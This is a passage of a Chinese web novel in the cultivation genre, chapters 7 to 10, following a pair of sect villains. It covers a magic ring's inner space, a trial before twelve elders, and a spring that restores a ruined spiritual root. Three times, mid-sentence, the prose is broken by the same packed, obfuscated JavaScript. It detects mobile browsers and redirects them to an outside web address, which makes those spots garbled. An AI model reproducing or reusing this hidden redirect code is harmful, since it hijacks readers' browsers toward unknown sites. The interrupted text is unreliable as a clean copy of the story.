《反派夫妇作死日常》 7. 第 7 章 第七章 思过崖,漫天飞雪。 一只五彩斑斓的小鸟冲过思过崖崖壁的重重云雾,停在岩石缝隙中悄悄望着思过崖一躺一坐的两人。 石板有些硬,宁音翻了个身。 也不知道师姐怎么样了,醒了没有。 应该是没醒,否则她和宴寒舟早就被放出去了。 故地重游的宁音躺在角落翻来覆去,这两天发生的种种实在很难静下心来,一时想起未来自己被男主一刀砍了的剧情,一会又冒出师云昭浑身是血的模样,更有宴寒舟那些狂拽酷炫的发言,简直烦不胜烦。 她索性坐起来,观察起沧溟戒上那些繁复又神秘的花纹。 沧溟戒,能容世间万物,根据野史记载,是凌霄仙尊送给未婚妻的聘礼,但真正来历如何,千年过去,没人说得清楚。 其实像这种储物戒指并不少见,就连最低等的修士也有基础的储物工具,像是布袋一类最为常见,而修为更高的则随身携带储物手镯与储物戒,兼备美观和性能。 沧溟戒之所以能引来无数修仙者哄抢,完全是因为这是凌霄仙尊改造过,俗称名人效应,小说里师云昭除了拿沧溟戒当储物戒之外,没有别的用途,更没有在它身上花费更多笔墨。 直到后来师云昭遇险,沧溟戒上那一丝神魂之力为她抵挡住了化神期强者的致命一击。 细数九州大陆,筑基满地走,金丹多如狗,金丹之上的元婴屈指可数,化神期强者更是少之又少。 能抵挡化神期强者致命一击,相当于多了一条命。 师云昭更是凭借这沧溟戒捡回了一条命。 也许是盯着这些花纹太过入神,宁音眼前一阵眩晕,思绪有片刻断片,再回过神来之际,她已出现在一片白茫茫,四周望不到头的空间里。 这是哪? 自从接受了自己穿越到修仙世界后,无论发生多么匪夷所思的事,她大概都不会再大惊小怪。 这难道是沧溟戒的内部空间? 宁音好奇地四处打量,看着眼前这白茫茫像云一样的东西,她忍不住伸手去摸。 不可思议的是,触碰到的瞬间,云雾一般的东西竟如活了一般从指尖钻入宁音身体,一股至纯至净的灵气在她体内奔涌冲刷,不过瞬息,经脉丹田灵气充沛,仿佛有使不完的劲,更是有种从头到脚每一寸脉络都吃撑了的错觉。 她忙收回手指。 她如今只是筑基修为,只一点点便险些把她撑爆。 看来这像云一样的东西是凝聚成型的灵气,比九州大陆的灵气要浓郁百倍千倍。 将灵气聚集于此,把储物空间变成绝佳的修炼之地,这凌霄仙尊还真是厉害。 可是该怎么出去呢? 随着心中所想,宁音眼前一阵恍惚,再清醒时,眼前已是一片漫天飞雪的思过崖。 这就出来了? 宁音看着沧溟戒上繁复神秘的花纹图案,惊疑不定。 莫非是因为师云昭没有滴血认主,所以才不曾发现沧溟戒的内部空间? 那宴寒舟是怎么知道的? 她看向一侧还在打坐的宴寒舟。 自被带回思过崖后,宴寒舟便孤身一人坐在角落潜心打坐,一天一夜,一点动静都无,若不是宁音时常探他鼻息,她都担心宴寒舟悄无声息被体内凌霄仙尊的神魂之力给撑死了。 “宴寒舟……” 宴寒舟睁开双眼,看着近在咫尺的宁音,“何事。” “……”宁音稍稍离他远了些,“你醒了?” 宁音现在最怕他沉浸在自己的世界里,有了他的狂妄发言在前,沉默时,总给人一种满脑子都在谋算怎么干掉男女主的错觉。 “我没睡。” “没睡你在干嘛?” 宴寒舟眉心微皱。 这一天一夜他都在探视这句身体的情况,神魂之力与他的残魂融合不过一天,天生废灵根的身体如今隐约开始有了反噬的前兆,若再无法解决废灵根带来的残缺,这具身体迟早爆体而亡,而他也将再次身死道消。 他想起千年前自己曾被无数宗门长者围困,擒至审判台废去修为与灵根,后来似是被人喂下了什么,灵根竟奇迹般重生。 可惜当年他浑浑噩噩,眼盲耳聋,整日酗酒不省人事,至今也不知晓当年喝下的是什么。 但,或许有人会知道。 他望着宁音。 “我在想如何让废灵根变成可修炼的天灵根。” “你这个人还真是贪心,能将废灵根变成可修炼的灵根就不错了,你还想变成天灵根,你以为觉醒天灵根那么容易?” “很难吗?”宴寒舟意有所指,“千年前,凌霄仙尊也曾被废了灵根……” “那能一样吗?”宁音打断他的话,“那可是三岁修炼,五岁筑基,十年就走完了别人几百年修炼之路的凌霄仙尊,天赋异禀,千年来也就出了那么一个天才,即使被废了灵根也能立刻振作重返巅峰……” “我也是三岁修炼,五岁筑基,十年就走完了别人几百年修炼之路。” “所以你身死道消,一看就是基础打得不牢。” “……” “等等!”宁音忽然意识到了什么,微微一笑,“你是想知道凌霄仙尊被废了灵根之后是怎么恢复的吧?想知道就直说嘛,我又不会告诉你。” “……” “这样吧,你答应我一件事我就告诉你。” “何事。” “恢复灵根之后潜心修炼,别总打打杀杀的,降妖除魔,匡扶正义,当一个好人不好吗?” 宴寒舟不语,大有宁为玉碎不为瓦全的决绝。 “行了行了,我说行了吧,动不动就摆脸色给我看,我还不是为了你好,要不是看在你……算了,”宁音一阵无力,宴寒舟这犟种的她是一点辙也没了,认真思索起来。 但在凌霄仙尊上所著笔墨实在太少,有用的信息散落全文各个角落,并不连贯,想了想,若有所思道:“凌霄仙尊当年被废去灵根,受人欺辱之际,被他未婚妻所救……” 宴寒舟打断她的话,“他没有未婚妻。” “他有。” “没有!” “有的。” “没有!” “他真的有!” 宴寒舟沉声道:“他有没有未婚妻我比你清楚!” 音量一声比一声高。 “你冲我吼什么,反正他就是被他的未婚妻所救,他未婚妻喂他喝下了天灵泉水,之后不久他被废的灵根就恢复了,信不信由你!” “那他未婚妻是谁?” “我怎么知道。” “你不是说他被他的未婚妻所救吗?” “是这样,你刚到这个世界可能还不太了解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15961989|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和你详细讲讲这位仙尊的平生。” “说起凌霄仙尊的平生实在是令人敬仰,不过其中最让人津津乐道的,是他那位身份神秘的未婚妻子。 据说他的未婚妻子出自修仙世家,两人郎才女貌,是天造地设的一对,可惜后来凌霄仙尊被歹人所害,灵根被废成为废人,他那位妻子的家族竟借此与他退婚。 退婚那日,凌霄仙尊在门前紧握婚书高喊:三十年河东三十年河西,莫欺少年穷!” “这又是《凌霄仙尊·野史篇》的内容?”宴寒舟脸黑得吓人。 “凌霄仙尊的平生不知道出了多少个版本,这虽然是野史,但在众多记载的版本中可信度算高的了,还有更大胆的,你要感兴趣,我改天讲给你听。” “……”宴寒舟深吸口气,闭上眼,体内神魂之力翻涌,险些控制不住爆体而亡。 “跟你说你还不信,以后你别问我了。” 宴寒舟平息翻涌的神魂之力,半晌才心平气和问道:“天灵泉水,这个名字,对吗?” “你不信还问我干什么?”看着宴寒舟略显苍白的脸色,宁音皱眉问道:“就是这个名字,怎么了?我又气着你了?你体内的神魂之力还没稳固?” 宴寒舟如实说道:“这具身体无法容纳神魂之力太久,若是再没有灵根,迟早爆体而亡。” 宁音噌一声站了起来,“什么?爆体而亡?你不要命了?!明明知道自己身体什么情况还那么莽撞,现在怎么办?” 她无比惊悚地看着宴寒舟。 这么说来,宴寒舟现在不就是一个行走的定时炸弹?爆体而亡的瞬间神魂之威席卷整个凌云宗,威力堪比核弹,元婴以下,无人生还。 “若你说的是真的,那么唯有天灵泉水能解我的困境。”宴寒舟看向宁音,再三确认:“你确定是天灵泉水?” 事态太过严重,宁音反而有些迟疑,“应该……没错。” 宴寒舟闭眼,“我知道了。” 一旦知道宴寒舟这个行走的定时炸弹就在自己身边,宁音想想只觉头皮发麻,“你……撑着点,等我离开思过崖,我帮你好好找找天灵泉水,你千万撑住了,别爆炸了。” “放心,一时半会爆不了。” “能让废灵根重新生长,想必这天灵泉水很是珍贵,估计还不好找,你这情况迫在眉睫,不然,我们找找掌门呢?相传掌门修为如今已是大乘,他定会有办法解决。” “他唯一的办法是将神魂之力从我体内抽出,但神魂已与我的残魂相融,一旦抽出,只有死路一条。” “……当我没说。” 思过崖外,脚步声由远及近。 宁音眼前一亮,“有人来了,肯定是师姐醒了来放我们出去的!” 话音刚落,几名戒律堂的弟子肃然走来。 宁音欣喜问道:“是师姐醒了吗?” 为首的弟子面沉如水,冷声道:“师姐还未醒,我奉师尊之命将你二人带去大殿受审!” 看着几人全副武装模样,宁音后退几步,“受审?师姐都没醒审什么?我不是说了吗?等师姐醒了你们一问便知我们是清白的!” “这是师尊的意思,带走!” 戒律堂的弟子将两人双手用捆仙绳束在身后。 宁音在宴寒舟耳边低声道:“不如你现在就爆炸吧。” 宴寒舟:“……” 8. 第 8 章 第八章 凌云宗大殿。 凌云宗作为九州大陆七大宗门之一,一共有十二座山峰,每座山峰各有一位长老坐镇。 宁音与宴寒舟二人站在大殿中央,与上次审判不同的是,这次审判多了十二位长老尽数到齐,其中还包括潜心闭关的暮云峰峰主,宁音的师父,禾青仙君。 能从十二位长老中一眼认出禾青仙君,实在是那一头白发太过显眼,让人想忽略都难。 早年宁音从郕国前往凌云宗修炼,除了携带随身服侍的婢女侍卫之外,还有郕国的国师给旧识禾青仙君写的一封信,正是这封信,让宁音成为了禾青仙君名下唯一弟子。 无人知晓郕国国师那封信中写了什么,能让禾青仙君为了宁音屡次三番破戒,最终名声狼藉,数百年修为毁于一旦。 “师父!我冤枉——” “闭嘴!”执法长老怒斥,“大殿之上,不得喧哗!” 宁音忍气吞声,咬牙切齿低声细语道:“我看那老古板的执法长老就是想抽我鞭子!” 宴寒舟沉声道:“放心,待会他如果下令抽你鞭子,我就爆炸,炸死他们!” 有了宴寒舟这一行走的人形炸弹在身边,宁音安全感十足。 只是环顾四周,大殿高台之上,十二位长老端坐如塑,纹丝不动,威压如寒渊,无声无息间,弥漫整座大殿,雅雀不闻,这等阵仗,就为了审问一件同门弟子间相残的龃龉之事? 宁音可不信这十二位长老如此大费周章,就为了这么点在他们眼中鸡毛蒜皮的小事,毕竟小说里凌云宗十二位长老齐聚的大场面,除了凌云宗险些被灭门的事件外,再无第二次。 看来今日是来者不善,宁音思来想去,除了禁地中凌霄仙尊秘境之事,也没别的事能引起如此大的轰动,可小说中师云昭得到秘境传承之时,十二位长老连面都不曾露过,今日却这么大张旗鼓…… 她压低了声音对一侧的宴寒舟道:“待会你什么话也别说,听我的。” 一荣俱荣一损俱损。 在外人眼里,宴寒舟就是她的狗腿子,宴寒舟干的事都是她指使的,和她脱不了任何干系。 万一这些长老发现宴寒舟换了个芯,被当成夺舍的妖魔,再顺藤摸瓜联想到自己……宁音不敢继续往下细想。 宴寒舟敏锐感知到大殿内数道探究的灵识落在自己与宁音身上,但凡有任何不妥之处,都逃不过这几人的眼睛。 执法长老目光冷冷扫过宁音与宴寒舟二人,“跪下!” 宁音反驳道:“我们又没做错,为何要跪?” “没做错?那我问你,让你们二人在思过崖思过,为何出现在禁地之中?司鹤羽可是亲眼所见师云昭受伤之地,只有你和宴寒舟在,而刺伤师云昭的魔剑在宴寒舟手中!” 宁音语气震惊,“长老这话什么意思?您是怀疑宴寒舟心怀不轨暗算师姐?凌云宗谁人不知谁人不晓,宴寒舟他就是个不能修炼的废灵根,凌云宗的厨子都比他强,他能暗算金丹修为的师姐吗?” 说到这,宁音哽咽道:“我知道你们看不起他,但我深知你们同样也不喜欢我,但弟子已经说的很清楚了,此事只需等师姐醒来便一清二楚,我不明白长老为何一直针对于我。” 说完,她朝着无动于衷的禾青仙君哭诉道:“师父!你看他们欺负你的徒弟,他们哪里是欺负我!明明是看不起您老人家啊!” 禾青仙君独来独往,向来是十二位长老中最为孤僻之人,名下弟子唯有宁音一人,若非受人所托,他不可能接下宁音这烫手的山芋。 “此事若不是你做的,必不会冤枉你,若是你做的……”禾青仙君话里大义灭亲的威胁很是明显。 掌门拦下发怒的执法长老,语气温和,问道:“今日让你二人过来,是想知道禁地之中,究竟发生了何事。” 一位长老不耐烦说道:“问来问去,实在是麻烦,不如直接搜魂……” 禾青仙君打断他的话,眼神冰冷望去,“慎言!” 那长老冷哼一声,不再言语。 掌门朝宁音投以安慰的目光,“无妨,说吧。” 搜魂二字在这修真世界里一听就不是什么好词。 搜魂术,通俗来说,就是一种可以看到过去记忆的一种秘术,副作用因人而异,什么失忆头疼从此反应慢半拍都是小事,就是变成个傻子也说不定。 到底是发生了什么不得了的大事,怎么还动了搜魂术的念头? 宁音老实了不少,恭敬拱手:“回掌门的话,前日我在思过崖思过,不小心与宴寒舟自思过崖跌落,谁知这思过崖崖底竟然就是禁地所在之处,我与宴寒舟在禁地之中兜兜转转许久也没能走出去,幸好遇到了师姐,当时师姐深受重伤,误入一处秘境中,那秘境的主人好像是千年前的凌霄仙尊,师姐在秘境中觉醒了天灵根,而凌霄仙尊的宝物沧溟戒被我得了,离开秘境之后师姐为了寻找离开禁地的传送阵法被妖魔所伤,等我和宴寒舟赶到时师姐已经昏迷不醒,我所说句句属实,还请掌门明鉴。” “沧溟戒?” “在我右手食指上。” 话音刚落,宁音束手于后的捆仙绳断裂开来,右手被一股无形的力量托举起来,食指那枚古朴而有神秘的沧溟戒出现在众人面前。 “是沧溟戒没错。” “秘境中唯此一件宝物?再无其他?” 宁音迟疑了一瞬,宴寒舟体内还有着凌霄仙尊的神魂之力,小说里师云昭得到凌霄仙尊所有传承,掌门更是亲自为她护法,帮她炼化了神魂之力,将其为己所用。 ……要说吗? 看着掌门温和的脸,宁音咬牙沉默,算了,既然宴寒舟自己说解决废灵根之事便能解决神魂在体内爆体而亡的风险,她还是不多那个嘴了。 宁音点头。 掌门探究的目光落在宁音身上,思索片刻后,说道:“既如此,此事暂且作罢,待师云昭醒后自会询问于她,若此事与你二人无关,我自会还你们一个公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15961990|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,今日你们先回暮云峰吧。” “是,多谢掌门,那我们就先回去了。”说着,她给宴寒舟使了个眼色,恭敬退出大殿。 直到两人离开,掌门威严深重的声音响起:“各位,都看清楚了吗?” 十二位长老面面相觑,半晌,禾青仙君沉声道:“那枚沧溟戒确实是凌霄之物,等师云昭醒后再问问她便可知宁音所说是真是假。” “她若是没说谎,此事大家认为该如何是好?” “我倒是觉得大家不必如此如临大敌,凌霄千年前死于雷劫之下,这是大家亲眼所见之事,那秘境之中不过是些宝物罢了,一个死了千年的人,何至于此啊?” “若只是些宝物我们还有必要出关吗?前日从禁地冲天而起的赤色光柱里,可是有凌霄的气息。” 此话一出,大殿之内寂静无声。 “这魔头若是没死,这九州大陆只怕又得掀起一番腥风血雨!” “千年前凌霄以一己之力险些颠覆整个九霄大陆,生灵涂炭,死伤无数,决不可让他有任何复生的机会!” — 从大殿出来,宁音硬着头皮顶着无数凌云宗弟子的目光往外走。 “他们出来了!掌门竟然没怪罪于她!掌门处事竟如此不公!” “还不是因为有禾青仙君包庇……” “嘘!别胡说!当心被戒律堂的听见重罚!” “下个月的宗门小比,若是让我对上她,我一定不会放过她!” “……”宁音脚下一滞。 宗门小比,她想起来了。 每年凌云宗都会有宗门小比,每个峰出一到三名弟子比试,友好切磋,点到为止。 小说里宁音因为被执法长老抽了三十鞭子而错过了这次的比试,但她这次,似乎躲不过去了。 照凌云宗弟子群情激奋的态度来看,比试那日若是自己打不过,只怕会很惨。 但这件事也并不是没有解决的办法,若是师云昭能早日醒来替她解除误会,或许‘宁音’的仇恨值能少一些也说不定? ……还真不一定。 同门弟子对她的恨并非这一件事,而是一朝一夕间累积出来的,大家并不会因为她不曾伤害师云昭而少恨她半分。 这些年禾青仙君一直潜心闭关修炼,只扔给宁音修炼秘籍,不曾多加教导,以至于她修为平平,这么些年没多少长进。 不然到时候上了擂台,直接弃权认输算了。 反正谁也打不过。 宴寒舟似是看穿了她心中所想,“你在担心宗门小比?” 宁音很没出息点头,“不然呢?我又打不过。” “我可以帮你夺得第一。” 宁音眼前一亮,“怎么帮?” 宴寒舟凌厉目光掠过众人。 也是奇怪,一个无法修炼的废灵根,青天白日,那道目光竟刺得人如芒在背,遍体生寒。 “在你之前把他们打得爬不起来不就行了?” 9. 第 9 章 第九章 宁音心情激动得简直无以言表。 明明自身难保,却还要帮自己上擂台。 她抬手沉沉拍了拍宴寒舟肩膀,“冲你这句话,你放心,我一定帮你找到天灵泉水,解你废灵根的困境!” 说干就干。 宁音连暮云峰都不曾回,直奔凌云宗万法楼。 这里藏书数百万件,小到个人杂记,大到修真秘术,应有尽有,而那本记载了凌霄仙尊一生的野史杂记就藏在万法楼中。 此书虽名为野史,但能被凌云宗收藏于万法楼,足以证明其书中可取之处,除了之外,这本书更是详细记载了千年前九霄大陆的变迁史。 那时的九州大陆还是名为九霄,千年修仙世家诞生了一名男婴,家主为其取名为凌霄,意为凌驾于九霄之上。 而凌霄同样不负众望,三岁修炼,五岁筑基,十年就走完了别人几百年修炼之路,直到后来,家族被魔道所灭,他的灵根被毁,万念俱灰之际,他的未婚妻取来了天灵山的天灵泉水。 “天灵山?”宁音扫过那几行有关于天灵山的详细描写。 天灵山终年积雪,亘古不化,巍峨的山体犹如一柄倒悬的长剑,悬崖峭壁深不可测,凛冽罡风在崖臂间呼啸盘旋。 倒悬的长剑? “宴寒舟,你看这天灵山像不像凌云宗的思过崖?倒悬的长剑……”宁音笃定道:“错不了!就是思过崖那座山!一模一样!” “不过好奇怪,这修仙世界过去不过一千年,为何这千年前的九霄大陆和如今的九州大陆有如此大的差别,书记载的地域、山峰、湖泊,名字几乎换了个遍,而宗门以及修仙世家却好像销声匿迹了般。” “白云苍狗,沧海桑田,千年足以改变许多事。” “但这改变也未免太大了些,你看书里曾经记载的什么化神、大乘期的强者数不胜数,什么金丹元婴,那都是门派里资质一般的弟子,门派大师兄没有元婴的境界都不好意思出门,可你看现在,咱们门派大师兄一个区区金丹修为。” 说到这,宁音颇有些唏嘘,“这一千年实力突然断层,也不知道千年前那些天才都哪去了,怎么一点记载都无。” 宴寒舟眼眸微抬,凛冽杀意毫不掩饰。 “应该都被杀光了吧。” 宁音倒吸了口凉气,“不可能吧,谁这么残暴把人杀得都断层了,这不妥妥大魔头吗?更何况这种颠覆整个九霄大陆的大事件,为何没有记载下来?” 拥有天灵根的人一旦踏入修炼之路,寿命便与普通百姓天差地别。 筑基期的修士寿元能增至两百年,金丹元婴则是三五百余载,化神强者更是能活上千年之久,如今九州大陆上化神强者虽然少之又少,但还不至于死绝,千年前若真有如此血腥残暴之人行惨无人道之事,千年后又怎会无人知晓,无书记载。 不仅九州大陆不曾记载,就连小说里也没有花费笔墨描绘,一般而言,小说都不曾提及的事,那就说明不是什么重要的事。 不过也正常,既不是主角,又不是配角,背景板的过去当然不重要了。 “算了,我们还是赶紧去思过崖看看能不能找到天灵泉水。” 按理来说,若思过崖真有天灵泉水,凌云宗建立已有千年,就不曾发现过吗? 也不一定,毕竟禁地中凌霄仙尊的机缘不也没被人发现? 站在思过崖崖边,宁音忽然觉得即使这有天灵泉水,没被发现也是应该的。 整座天灵山光秃秃一片,终年被大雪覆盖,放眼四处可见岩石峭壁,除了是惩罚弟子思过的最佳去处,哪会有什么天灵泉水。 宴寒舟沉沉望向四周,忽而吹了声口哨,不多时,五彩斑斓的琉璃羽雀从思过崖的悬崖峭壁上逆风飞了上来。 “琉璃羽雀?它怎么会在这?从禁地出来后就不见了,我还以为你跑了呢。” 琉璃羽雀并不理她,安静落在宴寒舟肩头,眼神尖锐犀利,仿佛在认真聆听着什么,片刻后振翅朝外飞去。 “它干嘛去了?” “找天灵泉水。” “能找到吗?” 宴寒舟有时候也觉得自己大概是病急乱投医,竟然会相信一本野史上说的东西。 什么从小一块长大的青梅竹马未婚妻,什么灵根被废被迫退婚,满篇尽是胡说八道! 两人在思过崖不知等了多久,宴寒舟倏地眼神一凝,朝某个方向望去。 “走!” “怎么了?找到了?”宁音紧随其后,两人在嶙峋怪石间穿行,翻越崎岖山路,在一处悬崖绝壁前停下脚步。 宴寒舟向下望去,此处的风声竟比思过崖顶的风声还要凄厉。 宁音试探性往下望,“是在这下面吗?” “不,在中间。”宴寒舟道:“还记得我教过你的口诀吗?” 宁音点头,知道即将再进行一次自由落体,紧闭双眼,默念口诀,失重的不适感传来,刀刮般呼啸的风声嘶吼着卷过周身,刮得肌肤生疼,她能感受到一只沉稳的手正紧紧扣住她的肩头。 “睁眼。” 宁音睁开双眼,两人竟落在半山腰处的断崖上,四周如迷雾般翻涌的雾海在琉璃羽雀振翅扇动下消散,半山腰的悬崖峭壁间竟有座石门。 石门轰然开启,一个漆黑的洞穴出现在两人面前。 琉璃羽雀率先飞入其中,不多时发出一声欣喜的鸟鸣。 两人走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15961991|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞穴,这才发现并不算大的洞穴内部竟如此的温暖潮湿,两人环顾四周,只见漆黑幽暗的山洞中,一滴泛着莹白微光的水珠,正沿着石壁罅隙间缓缓渗出,滴落。 清越空灵的水滴声在洞穴中幽幽回响。 宁音对宴寒舟对视一眼,皆看到了对方眼底的欣喜。 “这会是天灵泉水?能治好废灵根吗?” 宴寒舟沉声道:“试试不就知道了?” 宁音环顾四周,在水滴流附近找到一个石杯,放置在水滴下接着,目光落在莹白的水珠上,每往石杯中掉下一滴,她便不自觉轻轻点一次头,直到小小的石杯盛满满满的一杯,宁音抬头望向宴寒舟,眼底跳跃着璀璨星芒,“满了满了!” 她小心翼翼端起石杯,“你说,天灵泉水对我这种普通灵根有用吗?我喝了的话能变成天灵根吗?” 宴寒舟一瞬不瞬望着她。 “你看我干什么,这是我找到的,当然我先喝。”宁音深吸口气,天灵泉水是她提出来的,也是她找的,如果真是天灵泉水也就罢了,如果不是……死就死! 宁音闭着眼睛就要往嘴里倒,临到嘴边却被宴寒舟截胡,端起石杯一饮而尽。 “喂!”宁音大惊失色,“等等……!你就这么喝了?万一这不是天灵泉水……” 宴寒舟将空了的石杯放下,“若这是天灵泉水,便是我命不该绝,若不是,亦怨不得他人。” 宴寒舟无法忘怀千年前灵根尽废时的绝望,满腔的愤恨无处发泄,无能为力的痛苦几乎将他逼疯。 若这辈子依旧是无法修炼的废灵根,他宁愿再次身死道消,爆体而亡。 几乎就在饮下的瞬间,无数股暖流奔涌冲刷过他闭塞的奇经八脉,最终浩荡汇入沉寂已久的灵海丹田,宛如龟裂多年的荒原终于迎来了一场雨露甘霖,早已枯萎沉寂的灵根在天灵泉水的滋养下复苏舒展,如初春的嫩芽,在干涸的土壤深处蓬勃向上,奋力生长,贪婪地汲取着这久违的生机。 灵根复苏的感觉与千年前一模一样。 宴寒舟能感受到体内那股被自己刻意压制的神魂之力涌向丹田深处,天地间的灵气如潮水般疯狂涌入体内。 一股恐怖至极的威压弥漫开来,宁音往后一个踉跄,连呼吸都不由得一滞。 但下一瞬这股恐怖威压骤然消散。 宁音看向宴寒舟,心有余悸询问道:“你……成功了?” 宴寒舟缓缓睁开双眼,“成功了。” “那你现在是什么修为?金丹?元婴?”宁音满怀期待望着他,“或者……化神?” 宴寒舟静静感受着天灵根疯狂汲取着体内汹涌的灵气,无比平静道:“筑基。” “……” 10.第 10 章 第十章 行吧,筑基就筑基。 好歹解决了废灵根这一历史遗留问题,更解决了神魂之力在体内随时可能爆炸的风险。 不白来。 不过,都是反派,既然宴寒舟有如此大的改变,那是不是代表着自己也许也有大造化? 宁音心痒,将石杯放置在滴漏的天灵泉水之下,收集了满满一杯后仰头就往嘴里倒,静静期待着自己能就此觉醒天灵根。 无事发生。 “这天灵泉水应该只对废灵根有用,普通灵根无法滋养成天灵根。” “我知道,我口渴不行吗?”看着修为大涨、正式踏入修仙之路的宴寒舟,宁音目光幽怨心情复杂。 倒不是“既怕兄弟过得苦又怕兄弟开路虎”的嫉妒,只是穿越至今发生的一系列连锁反应大大偏移了原定剧情,不仅改变了女主师云昭的人生轨迹,就连宴寒舟也从无法修炼的废灵根一跃成了罕见的天灵根。 这宴寒舟才是这个世界的主角吧? 怎么什么好事都让他给摊上了。 宁音小声嘀咕。 “什么?” “没什么,我是说,现在你应该完全相信我说的话了吧?” “信一半。” “信一半?哪一半你不信?哪一半我没说对?” 宴寒舟沉沉望着她,纠正道:“凌霄仙尊没有未婚妻!” “……行行行,他没未婚妻,你比他还清楚行了吧,发生了这么多事,桩桩件件都验证了还嘴硬,算了,不跟你计较,你说没有就没有吧。” 宁音不在这种小事上和他多费口舌,当务之急是下个月即将召开的宗门小比。 离开思过崖半山回到暮云峰,耳边便出现禾青仙君千里传音说要见她。 作为师尊,虽说是受故人所托,禾青仙君却没能尽职尽责教导‘宁音’,只是后来宁音所为之事东窗事发,禾青仙君庇护良多,到后期甚至愿意散尽修为护着她,也算是自作自受吧。 走进暮云峰大殿之中,宁音躬身行礼,“师尊,您找我。” 禾青仙君目光落在宁音右手食指的沧溟戒上,不过瞬息便挪开了,沉声道:“过几日便是宗门小比,每个峰派遣一到三名弟子参与,暮云峰只你一位弟子,便将你的名字报了上去,这是此次小比的名单。” 一张卷轴落到了宁音手里。 果然是为了这事。 “可是……师尊,我修为平平,入门这些年才堪堪踏入筑基,我担心参加宗门小比,会给师尊丢脸。” 禾青仙君风轻云淡道:“无妨,尽力便好。” 宁音欲言又止。 小说里的禾青仙君潜心闭关修炼,就是个甩手掌柜,根本不怎么指点‘宁音’的修为,其原因之一在于他认为‘宁音’心高气傲,须得磨砺其心志,懂谦卑知疾苦,才会亲自指点她的修行。 否则心思不纯,修为再高总有一日也会为祸天下。 直到后来‘宁音’心思扭曲黑化,一错再错,禾青仙君才知道自己当初的不管不顾,让‘宁音’在凌云宗受了多少排挤与嘲讽。 似是看出了宁音有话要说,禾青仙君说道:“你有什么话可以直说。” “师尊,我知道您觉得我骄纵跋扈不服管教,但你有没有想过,这儿不是郕国,这是凌云宗,以实力为尊,我修为平平,是会被被人嘲笑看不起的。” ‘宁音’修炼若是有那么一点点天赋,也不至于天天嫉妒这个,怨恨那个,惦记师云昭的天灵根惦记到死了。 禾青仙君沉默望着她,“你是在怪我?” 废话!不然呢? 心法心法不给,武器武器没有。 宗门小比那日她怎么打?这不就是非让她丢脸不可吗? 丢脸是小事,以她曾经树敌的数量来说,万一遇到个与她不对付的,就逮着她揍,岂不是又疼又丢脸? 宁音心塞不已,深吸口气,继续说道:“徒儿不敢!只是徒儿入宗门这么多年,自知生性跋扈不得人喜欢,天赋平平,修为不高,不是师尊心中弟子的最佳人选,师尊这些年潜心修炼,弟子也不敢叨扰师尊指点我修炼,只是……前些日子国师曾修书一封,询问我如今修为如何,与同门相处可好,可有被欺负,吃的怎样睡的怎样,我自知这些年修为毫无精进,不愿让国师失望,是以,不敢将实话说与国师听。” 郕国国师修书一封你便破例收下宁音为弟子,既然这么在乎郕国国师的看法,若你继续当甩手掌柜,那我可要告状了! 果然,听到宁音的话禾青仙君双眼微沉,“你欲如何?” “师尊可否赐我一件趁手的武器,让我在宗门小比那日不那么……丢人。” “这次宗门小比你只需尽力而为,输了,为师也不会怪你,既然你入门多年没有一件趁手的武器,今日便去剑阁挑一把趁手的本命剑吧。” “可是剑阁徒儿去过许多次了,每次都……” 禾青仙君似乎意有所指,“今日再去一次。” “是,多谢师尊!此次宗门小比我一定尽力而为,只是,只有本命剑,徒儿担心……” 禾青仙君一眼看穿宁音心中所想,“你还要什么?” “徒儿最近潜心修炼,可无论如何也无法精进分毫,兴许已到瓶颈,若是有助力修行的丹药……” 一盒丹药出现在她面前,宁音按耐住心头的喜色收下,再次愁眉不展道:“此前师尊传授与我的心法徒儿已滚瓜烂熟,不知还有无其他心法能让徒儿修为更上一层楼?” 一道蕴藏数道心法的金光飞入宁音脑海。 “多谢师尊!若没有其他事,弟子先行告退!”说完便躬身离开。 收获满满的宁音麻利溜了。 — 剑阁乃是凌云宗弟子挑选本命剑的地方,每日都有无数弟子前往,希望能找到一把属于自己并认自己为主的剑。 ‘宁音’此前来过剑阁许多次,但每次都无功而返,没有剑愿意选择她成为自己的主人,直到后来,还是禾青仙君出面赠予她一柄本命剑,才结束这一尴尬局面。 不得不说,这该死的修仙世界对反派也太不友好了,反正又打不过主角,你给‘宁音’一把本命剑能咋的?非得在她黑化的路上添砖加瓦。 宁音做好了今天无功而返的准备。 剑阁人头攒动。 出现在剑阁的刹那,原本沉寂的剑阁顿时热闹起来。 “喂,看,是宁音,她又来找自己的本命剑了。” “多少年了,凌云宗上下就没有谁这么长时间还未找到自己的本命剑。” “我敢打赌,今日还是没有剑认她为主。” 